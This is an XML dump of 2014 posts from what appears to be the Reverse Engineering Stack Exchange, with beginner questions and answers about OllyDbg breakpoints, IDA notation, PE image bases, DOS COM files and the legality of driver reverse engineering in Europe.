  <row Id="6232" PostTypeId="1" CreationDate="2014-09-13T19:58:44.960" Score="2" ViewCount="339" Body="&lt;p&gt;I can't find any disassembling programs for the various binary formats out there that can run on OSes like Android, iOS, Blackberry, etc. These are the only devices I have access to, and I am trying to learn assembly and very low-level programming for retro-computers architectures (NES, SNES, Genesis, PSX, N64, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to find one hex editor for Android that does the job well enough. It's entirely possible to load up any binaries there and hand-disassemble them (meaning look at each byte and an opcode table, etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing so, is it possible that one can completely reverse engineer, say, a game and generate some form of assembly-textual source by stepping each machine byte(s) back to assembly instructions that can be re-programmed then back to the machine executable bytes/data/etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm asking is, is this possible or is there a step I am missing?&lt;/p&gt;&#xA;" OwnerUserId="8528" LastEditorUserId="245" LastEditDate="2014-10-15T07:31:00.747" LastActivityDate="2015-01-13T19:31:02.373" Title="Reverse engineering and programming byte-by-byte on mobile OSs?" Tags="|machine-code|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6234" PostTypeId="2" ParentId="6232" CreationDate="2014-09-14T15:45:22.653" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=82&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex-Rays ported IDA to iOS several years ago&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xZLpV.jpg&quot; alt=&quot;IDA on iOS&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not publicly available, but (from &lt;a href=&quot;http://www.hexblog.com/?p=82#comment-652&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=82#comment-652&lt;/a&gt;) --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if you have a current ida license and want to play (just to&#xA;  play) with it, feel free to send a request to the support&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-14T15:45:22.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6235" PostTypeId="1" CreationDate="2014-09-14T18:50:42.490" Score="5" ViewCount="1187" Body="&lt;p&gt;How does &lt;a href=&quot;http://www.nvidia.com/content/DriverDownload-March2009/licence.php?lang=us&quot; rel=&quot;noreferrer&quot;&gt;nvidia linux driver eula&lt;/a&gt;, especially sections 2.1.3 and 5. play with &lt;a href=&quot;http://europa.eu/legislation_summaries/internal_market/businesses/intellectual_property/mi0016_en.htm&quot; rel=&quot;noreferrer&quot;&gt;European Union Directive on the legal protection of computer programs&lt;/a&gt;?&#xA;I think somebody would have already done that and uploaded to nouveau if it was legal in Europe. But I am not sure.&lt;/p&gt;&#xA;" OwnerUserId="8535" LastActivityDate="2014-09-15T08:54:30.533" Title="Is nVidia Linux driver reverse engineering legal in Europe?" Tags="|driver|law|nvidia|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6236" PostTypeId="1" CreationDate="2014-09-15T04:32:14.257" Score="2" ViewCount="2931" Body="&lt;p&gt;The following is a simple program I wrote to be debugged in OllyDbg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main(){&#xA;    exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled the program and opened it in OllyDbg. The program pauses at some weird location in ntdll. I went into options and set a breakpoint at the entry. The program still paused at the same location in ntdll. I then set a breakpoint at main. And it still pauses at some location in ntdll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="8539" LastActivityDate="2014-09-15T20:10:36.770" Title="Simple Program Being Paused Somewhere in ntdll" Tags="|ollydbg|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6237" PostTypeId="2" ParentId="6236" CreationDate="2014-09-15T06:20:19.333" Score="2" Body="&lt;p&gt;The first break is always the system breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not want Ollydbg to stop at system breakpoint goto options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;o&lt;/kbd&gt; -&gt; events and change the make first pause at to EntryPoint Of Main module    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When, a parent process creates a child with &lt;code&gt;DEBUG_XXXX&lt;/code&gt; flags it should know when the process initialisation has been finished so a notification called &lt;code&gt;ProcessCreate DebugEvent&lt;/code&gt; is raised &lt;code&gt;DbgBreakPoint&lt;/code&gt; in &lt;code&gt;ntdll.dll&lt;/code&gt; is a part of that &lt;code&gt;DebugEvent Notification&lt;/code&gt; usually termed as &lt;code&gt;SystemBreakPoint&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which version of Ollydbg are you using 1.10 or 2.01, do you have plugins loaded ? &#xA;A simple executable with just an exit should either stop on &lt;code&gt;System BreakPoint&lt;/code&gt; or &lt;code&gt;WinMainCrtStartup&lt;/code&gt; or at &lt;code&gt;main()&lt;/code&gt; only not anywhere else.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="53" LastEditDate="2014-09-15T20:10:36.770" LastActivityDate="2014-09-15T20:10:36.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6238" PostTypeId="2" ParentId="6235" CreationDate="2014-09-15T08:54:30.533" Score="2" Body="&lt;p&gt;Up to my knowledge, reverse-engineering is possible in Europe if you need it to achieve inter-interoperability and that the maker of the software or the hardware refuse to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means that, if you cannot get a graphic card to work properly under your favorite operating-system and that the maker of this card does not want to make a support for it, then you are free to perform a reverse-engineering on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware, publishing publicly the (direct) result of a reverse is not allowed ! For example, you cannot publish a disassembly of a firmware. The thing is that I do not know if you can publish the API that you obtained by reversing the firmware... The API is somehow quite far from the original raw material... and publishing your code in open-source would be somehow the same as publishing the API... So, I do not know exactly where is the limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember a few years ago, with others, we sent a letter to Apple asking them to support Ogg-Vorbis format on their iPod Nano. They received the letter but did not dare to answer. Then, we started to reverse the Nano without breaking the law.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to work-around the law against reverse-engineering in Europe is to be part of a laboratory. Then, you can do reverse for studying the software or the hardware that you are focusing on (beware, publishing is still tedious in this case also).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-09-15T08:54:30.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6239" PostTypeId="1" CreationDate="2014-09-15T11:05:27.157" Score="2" ViewCount="1627" Body="&lt;p&gt;What is the difference between &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F9&lt;/kbd&gt; and &lt;kbd&gt;F9&lt;/kbd&gt; in OllyDbg except the fact that the first command will stop the program execution on the next &lt;code&gt;RET&lt;/code&gt; instruction while the second command will stop the program execution on the next breakpoint/program termination ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed that the debugging application give the different results in these cases (different register values after function call, etc) while executing the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; ...&#xA;CALL module_name.some_address&#xA;TEST EAX, EAX&#xA;; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've set breakpoints on each of these instructions and noticed that the behavior is different when I just press &lt;kbd&gt;F9&lt;/kbd&gt; after first breakpoint or press &lt;kbd&gt;F7&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F9&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why ?&lt;/p&gt;&#xA;" OwnerUserId="8543" LastEditorUserId="53" LastEditDate="2014-09-15T20:04:28.293" LastActivityDate="2014-09-17T01:45:33.810" Title="What is the difference between F9 and Ctrl-F9 in OllyDbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6240" PostTypeId="1" CreationDate="2014-09-15T12:15:29.283" Score="0" ViewCount="257" Body="&lt;p&gt;I'm having issue reversing a small old COM file from the early 90s.  My understanding was that code begins at 0x100, however the one I have seems to begin at 0x90 (0s before).  However some of the commands point to locations well outside the program space and I'm wondering if the offset isn't wrong - particularly after c2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using onlinedisassembler.com, I have a few example segments below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:0x00000090    e612    out    0x12,al  &#xA;.data:0x00000092    131c16  adc    ebx,DWORD PTR [esi+edx*1]    &#xA;.data:0x00000095    d89ade3b6153    fcomp  DWORD PTR [edx+0x53613bde]   &#xA;.data:0x0000009b    3831    cmp    BYTE PTR [ecx],dh    &#xA;.data:0x0000009f    d309    ror    DWORD PTR [ecx],cl   &#xA;.data:0x000000a1    41  inc    ecx  &#xA;.data:0x000000a2    56  push   esi  &#xA;.data:0x000000a3    5b  pop    ebx  &#xA;.data:0x000000a4    ce  into    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8534" LastEditorUserId="60" LastEditDate="2017-06-24T18:18:10.613" LastActivityDate="2017-06-24T18:18:10.613" Title="COM file starting point" Tags="|x86|decompilation|dos-com|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6241" PostTypeId="2" ParentId="6239" CreationDate="2014-09-15T17:36:33.677" Score="4" Body="&lt;p&gt;I don't know exactly how this feature is implemented in Ollydbg, but we can have a look at how it is implemented in x64_dbg as it is open-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F9&lt;/kbd&gt; (execute till return) functionality is implemented by &lt;code&gt;cbDebugRtr&lt;/code&gt; in &lt;code&gt;x64_dbg_dbg/debugger_commands.cpp&lt;/code&gt;. We can see that it calls &lt;code&gt;StepOver&lt;/code&gt; which is a method provided by TitanEngine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMDRESULT cbDebugRtr(int argc, char* argv[])&#xA;{&#xA;    StepOver((void*)cbRtrStep);&#xA;    cbDebugRun(argc, argv);&#xA;    return STATUS_CONTINUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the TitanEngine document the description of StepOver is described as follows :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;StepOver function&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The StepOver traces code by single-stepping over calls. This tracing&#xA;  function sets an INT3 breakpoint after the call, which is used to call&#xA;  your callback. There is no guarantee that code execution will return&#xA;  from that call, and thus no guarantee that your callback will ever be&#xA;  called. The breakpoint is run only once, and is removed once your&#xA;  callback has finished.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;TitanEngine is also open-source, here is the implementation of &lt;code&gt;StepOver&lt;/code&gt; in &lt;code&gt;TitanEngine / TitanEngine.Debugger.Control.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(dllexport) void TITCALL StepOver(LPVOID StepCallBack)&#xA;{&#xA;    ULONG_PTR ueCurrentPosition = GetContextData(UE_CIP);&#xA;    unsigned char instr[16];&#xA;    MemoryReadSafe(dbgProcessInformation.hProcess, (void*)ueCurrentPosition, instr, sizeof(instr), 0);&#xA;    char* DisassembledString = (char*)StaticDisassembleEx(ueCurrentPosition, (LPVOID)instr);&#xA;    if(strstr(DisassembledString, &quot;CALL&quot;) || strstr(DisassembledString, &quot;REP&quot;) || strstr(DisassembledString, &quot;PUSHF&quot;))&#xA;    {&#xA;        ueCurrentPosition += StaticLengthDisassemble((void*)instr);&#xA;        SetBPX(ueCurrentPosition, UE_BREAKPOINT_TYPE_INT3 + UE_SINGLESHOOT, StepCallBack);&#xA;    }&#xA;    else&#xA;        StepInto(StepCallBack);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After each step the callback function &lt;code&gt;cbRtrStep&lt;/code&gt; is called which checks if the current instruction is a &lt;code&gt;RET&lt;/code&gt; and if so the debugger is stopped. (&lt;code&gt;x64_dbg_dbg/debugger.cpp&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void cbRtrStep()&#xA;{&#xA;    unsigned int cipch = getCIPch();&#xA;    if(cipch == 0xC3 or cipch == 0xC2)&#xA;        cbRtrFinalStep();&#xA;    else&#xA;        StepOver((void*)cbRtrStep);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, to sum up, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F9&lt;/kbd&gt; is doing step-over until it encounters a &lt;code&gt;RET&lt;/code&gt; instruction. If you press &lt;kbd&gt;F7&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F9&lt;/kbd&gt; the debugger will single-step the instructions of the function; the function you are calling might be doing debugger detection that is not triggered when setting a breakpoint after this function. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-09-17T01:45:33.810" LastActivityDate="2014-09-17T01:45:33.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6242" PostTypeId="1" AcceptedAnswerId="6243" CreationDate="2014-09-15T18:00:31.857" Score="14" ViewCount="9688" Body="&lt;p&gt;Having stumbled upon this question (and answer): &lt;a href=&quot;https://stackoverflow.com/questions/2170843/va-virtual-adress-rva-relative-virtual-address&quot;&gt;https://stackoverflow.com/questions/2170843/va-virtual-adress-rva-relative-virtual-address&lt;/a&gt; on my quest for understanding Windows' PE format, I'm wondering: why is the default imagebase value 0x400000? &#xA;Why couldn't we just start at 0? A VA would then be, in all practical purposes, equal to an RVA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm clearly missing something, but I've been unable to find a reasonable explanation of this for the last 40 minutes.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2022-08-04T21:49:06.257" Title="windows - Why is the imagebase default 0x400000?" Tags="|windows|pe|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6243" PostTypeId="2" ParentId="6242" CreationDate="2014-09-15T19:02:01.427" Score="17" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;why&lt;/strong&gt; is the default imagebase value 0x400000?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/ms809762&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peering Inside the PE: A Tour of the Win32 Portable Executable File Format&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In executables produced for Windows NT, the default&#xA;image base is 0x10000. For DLLs, the default is 0x400000. In Windows&#xA;95, the address 0x10000 can't be used to load 32-bit EXEs because it&#xA;lies within a linear address region shared by all processes. &lt;strong&gt;Because&#xA;of this, Microsoft has changed the default base address for Win32&#xA;executables to 0x400000.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note that the default (or &amp;quot;preferred&amp;quot;) base address is set by the linker (GCC's &lt;code&gt;ld&lt;/code&gt;, Microsoft VC++'s &lt;code&gt;link.exe&lt;/code&gt;, etc.) at build-time; the default (or &amp;quot;preferred&amp;quot;) base address is &lt;em&gt;not&lt;/em&gt; determined by Windows.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="245" LastEditDate="2022-08-04T21:49:06.257" LastActivityDate="2022-08-04T21:49:06.257" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="6244" PostTypeId="2" ParentId="6242" CreationDate="2014-09-15T20:04:20.720" Score="3" Body="&lt;p&gt;you can alter the base if you so wish msvc compile drivers with an image base of 0x10000&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;kd -c &quot;!dh acpi;q&quot; -z c:\WINDOWS\system32\drivers\acpi.sys | grep -i image&#xA;File Type: EXECUTABLE IMAGE&#xA;00010000 image base&#xA;    5.01 image version&#xA;   2DD80 size of image&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is how to alter usermode executables imagebase base must be multiples of 64k if base:0 is used exe will be having an image base of 0x10000 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dir /b &amp;amp; type * &amp;amp; cl /nologo /Zi * /link /base:0x200000 &amp;amp; dir /b&#xA;sysbp.cpp&#xA;&#xA;sysbp.cpp&#xA;&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;int main (void)&#xA;{&#xA;    printf(&quot;all the bases belongs to base\n&quot;);&#xA;    exit(0);&#xA;}sysbp.cpp&#xA;sysbp.cpp&#xA;sysbp.exe&#xA;sysbp.ilk&#xA;sysbp.obj&#xA;sysbp.pdb&#xA;vc100.pdb&#xA;&#xA;:\&amp;gt;sysbp.exe&#xA;all the bases belongs to base&#xA;&#xA;:\&amp;gt;cdb -c &quot;q;&quot; sysbp.exe | grep -i modload&#xA;ModLoad: 00200000 00222000   sysbp.exe&#xA;ModLoad: 7c900000 7c9b2000   ntdll.dll&#xA;ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll&#xA;q&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-09-15T20:17:01.290" LastActivityDate="2014-09-15T20:17:01.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6245" PostTypeId="2" ParentId="6240" CreationDate="2014-09-15T22:51:09.800" Score="4" Body="&lt;p&gt;The DOS .COM files get loaded into the &lt;strong&gt;memory&lt;/strong&gt; at offset 100h (the first 100h bytes are the &lt;a href=&quot;http://www.techhelpmanual.com/371-psp__program_segment_prefix.html&quot; rel=&quot;nofollow&quot;&gt;PSP&lt;/a&gt;, allocated and filled by the DOS loader). The file on disk of course starts at byte 0 (which corresponds to address 100h in memory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since .COM is just a binary blob with no headers, your disassembler has no idea about the address or even the processor mode it's using. That why you get garbage output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get correct results you need to ensure you're disassembling &lt;em&gt;in 16-bit mode&lt;/em&gt;. On onlinedisassembler.com, this is the &quot;i8086&quot; option (which actually comes from binutils on which it's obviously based).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the bytes you quote don't make sense even in 16-bit mode so it's possible the file has been compressed or encrypted. Since you did not quote the beginning of the file, we can only guess.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-15T22:51:09.800" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6247" PostTypeId="1" CreationDate="2014-09-16T14:55:37.267" Score="0" ViewCount="77" Body="&lt;p&gt;I do not want to debug the code within the program, I simply want to know what external resources it accesses - files, connections, registry, etc...  Is there an easy way to do this in Windows?&lt;/p&gt;&#xA;" OwnerUserId="8534" LastActivityDate="2014-09-16T14:58:46.890" Title="How can I ringfence an EXE to know what system resources it is accessing?" Tags="|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6248" PostTypeId="2" ParentId="6247" CreationDate="2014-09-16T14:58:46.890" Score="2" Body="&lt;p&gt;You can use utilities from &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/default&quot; rel=&quot;nofollow&quot;&gt;sysinternals&lt;/a&gt; package, such as &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow&quot;&gt;process monitor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-09-16T14:58:46.890" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6249" PostTypeId="1" CreationDate="2014-09-16T17:05:01.997" Score="3" ViewCount="898" Body="&lt;p&gt;I have the following line in IDA PRO:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    CODE:    00406434 dword_406434   dd  0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that dword_406434 is a place where a value is stored. So, my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First : What is that &quot;dd&quot; in that line ? &#xA;Second: And is the 0 the value stored at dword_406434 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-09-16T17:16:08.740" Title="What is the meaning of 00406434 dword_406434 dd 0?" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6250" PostTypeId="2" ParentId="6249" CreationDate="2014-09-16T17:16:08.740" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;First : What is that &quot;dd&quot; in that line ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dd&lt;/code&gt; is short for &lt;code&gt;data, doubleword&lt;/code&gt;, where &quot;doubleword&quot; is a 32-bit value.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Second: And is the 0 the value stored at dword_406434 ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, the 32-bit value 0 (0x00000000) is stored in memory there.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-16T17:16:08.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6251" PostTypeId="1" CreationDate="2014-09-16T20:44:52.263" Score="1" ViewCount="102" Body="&lt;p&gt;I've been wondering, why all the hassle with variable length arrays (such as int x[n])? Theoretically, it's just another local variable, so it's merely a matter of subtracting the appropriate value from ESP. &#xA;This question - and excellent answer - at StackOverflow: &lt;a href=&quot;https://stackoverflow.com/questions/1887097/variable-length-arrays-in-c&quot;&gt;https://stackoverflow.com/questions/1887097/variable-length-arrays-in-c&lt;/a&gt; has cleared things up a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I was curious to see what code would be generated by compilers. I've tried MSVC 2013 and MinGW 4.8.1, with the latter successfully compiling the code and the former refusing to cooperate. The C++ (well actually C, but compiled with g++) code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    int size;&#xA;    scanf(&quot;%d&quot;, &amp;amp;size);&#xA;&#xA;    int array[size];&#xA;    array[0] = 0xBEEF;&#xA;&#xA;    printf(&quot;Done with the arrays!\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;This will be compiled to the following assembly code (diassembled with Olly 1.10, but also tried IDA and got the same results):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(some main( ) initialization)&#xA;LEA EAX,[LOCAL.5]                                          &#xA;MOV DWORD PTR SS:[ESP+4],EAX                               &#xA;MOV DWORD PTR SS:[ESP],tesst.00403064        ;&quot;%d&quot;              &#xA;CALL &amp;lt;JMP.&amp;amp;msvcrt.scanf&amp;gt;                                   &#xA;MOV EAX,[LOCAL.5]&#xA;SUB EAX,1&#xA;MOV [LOCAL.3],EAX                                         &#xA;ADD EAX,1&#xA;SHL EAX,2&#xA;LEA EDX,DWORD PTR DS:[EAX+3]&#xA;MOV EAX,10&#xA;SUB EAX,1&#xA;ADD EAX,EDX                                                &#xA;MOV ECX,10&#xA;MOV EDX,0&#xA;DIV ECX&#xA;IMUL EAX,EAX,10                                            &#xA;CALL tesst.00401C60&#xA;SUB ESP,EAX                                                &#xA;LEA EAX,DWORD PTR SS:[ESP+8]                               &#xA;ADD EAX,3                                                  &#xA;SHR EAX,2                                                  &#xA;SHL EAX,2                                                  &#xA;MOV [LOCAL.4],EAX                                          &#xA;MOV EAX,[LOCAL.4]                                          &#xA;MOV DWORD PTR DS:[EAX],0BEEF                               &#xA;MOV DWORD PTR SS:[ESP],tesst.00403067                      &#xA;CALL &amp;lt;JMP.&amp;amp;msvcrt.puts&amp;gt;     &#xA;MOV EAX,0&#xA;MOV ESP,EBX&#xA;LEA ESP,[LOCAL.2]&#xA;POP ECX                                                    &#xA;POP EBX                                                   &#xA;POP EBP                                                  &#xA;LEA ESP,DWORD PTR DS:[ECX-4]&#xA;RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;To me, this code looks redundant and absurd, at times, to be honest. Why do we LEA EAX+3 to EDX just to add it a couple lines later, without altering EDX in any way? Why MOV EAX to ESP-0C (LOCAL.3) if it's not used at all later? And, of course, what's with the MOV ESP, EBX and then LEA ESP,EBP-8 immediately after?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And most of all, why all the hassle? Wouldn't it just have been enough to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LEA EAX,[LOCAL.5]                                          &#xA;MOV DWORD PTR SS:[ESP+4],EAX                               &#xA;MOV DWORD PTR SS:[ESP],tesst.00403064     ; &quot;%d&quot;&#xA;CALL &amp;lt;JMP.&amp;amp;msvcrt.scanf&amp;gt;   &#xA;MOV EAX,[LOCAL.5]&#xA;SHL EAX,2       ;multiply times 4 - sizeof int&#xA;SUB ESP,EAX    ;memory is allocated, all done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8346" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-09-16T21:21:09.363" Title="VLAs in C++ - seemingly nonsential compiler code" Tags="|disassembly|c++|gcc|" AnswerCount="0" CommentCount="5" ClosedDate="2014-09-19T00:20:11.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="6252" PostTypeId="1" AcceptedAnswerId="6253" CreationDate="2014-09-17T12:21:24.520" Score="5" ViewCount="1593" Body="&lt;p&gt;Im newbie at reverse engineering and I was wondering what is the meaning of declaration &lt;code&gt;var_18 = byte ptr -18&lt;/code&gt; and the others like it in the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Si9w.png&quot; alt=&quot;IDA Pro screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that &lt;code&gt;byte ptr&lt;/code&gt; means it is a pointer to a byte variable, but why does it have negative value. And also why do all of them have the same address?&lt;/p&gt;&#xA;" OwnerUserId="8562" LastEditorUserId="53" LastEditDate="2014-09-17T12:47:01.743" LastActivityDate="2014-09-17T13:59:36.073" Title="Assembly variable meaning" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6253" PostTypeId="2" ParentId="6252" CreationDate="2014-09-17T13:23:52.337" Score="6" Body="&lt;p&gt;The dis-assembler display all the variables as having the same address, which is the function's first command (004014CE push ebp in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;variable with a &lt;strong&gt;positive&lt;/strong&gt; offset is a &lt;em&gt;parameter to the function&lt;/em&gt;, where a variable with a &lt;strong&gt;negative&lt;/strong&gt; offset is usually a &lt;em&gt;local variable&lt;/em&gt;. This is of course not always the case but you can take it as a general rule of thumb.&lt;/p&gt;&#xA;" OwnerUserId="4628" LastEditorUserId="4628" LastEditDate="2014-09-17T13:59:36.073" LastActivityDate="2014-09-17T13:59:36.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6254" PostTypeId="1" CreationDate="2014-09-17T23:33:48.147" Score="1" ViewCount="1340" Body="&lt;p&gt;When I load most windows NE/PE executables, IDA first warns me about the file being possibly packed, then it warns me with this dialog: &quot;&lt;em&gt;The input file has extra information at the end (tail &amp;lt; hex &gt;, loaded &amp;lt; hex &gt;), continue?&lt;/em&gt;&quot;. It loads the file, but only shows the &quot;&lt;em&gt;This program cannot be run in DOS mode.&lt;/em&gt;&quot; DOS stub and that's it. No import/export tables, structs, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force IDA to recognize the PE header and load that instead of the DOS stub?&lt;/p&gt;&#xA;" OwnerUserId="3456" LastActivityDate="2014-09-18T04:59:31.267" Title="IDA Pro only shows dos stub of windows executables/libraries" Tags="|ida|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
